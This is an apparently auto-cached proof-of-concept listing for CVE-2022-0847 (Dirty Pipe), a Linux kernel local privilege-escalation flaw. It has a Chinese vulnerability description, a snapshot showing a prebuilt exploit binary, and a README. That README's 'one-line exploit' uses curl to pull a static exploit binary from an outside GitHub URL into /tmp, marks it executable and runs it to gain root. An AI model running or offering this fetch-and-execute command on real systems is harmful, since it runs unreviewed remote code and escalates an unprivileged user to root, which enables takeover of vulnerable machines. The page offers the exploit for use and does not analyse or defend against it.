CVE-2022-0847 PoC — Linux kernel 安全漏洞

Source

https://github.com/osungjinwoo/CVE-2022-0847-Dirty-Pipe

Associated Vulnerability

Title:Linux kernel 安全漏洞 (CVE-2022-0847)
Description:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 存在安全漏洞，该漏洞源于新管道缓冲区结构的“flag”变量在 Linux 内核中的 copy_page_to_iter_pipe 和 push_pipe 函数中缺乏正确初始化。非特权本地用户利用该漏洞可以提升权限至root。以下产品和版本受到影响：Linux Kernel 5.8-5.16.11、5.8-5.15.25、5.8-5.10.102。

Readme

# Oneline Exploit CVE-2022-0847

```
{curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe};{chmod,+x,/tmp/exploit-dirty-pipe};/tmp/exploit-dirty-pipe
```

File Snapshot


 [4.0K]  /data/pocs/35483985bb987ca51d1fe4c88ef7ca6edca20d6c
├── [866K]  exploit-static
└── [ 219]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!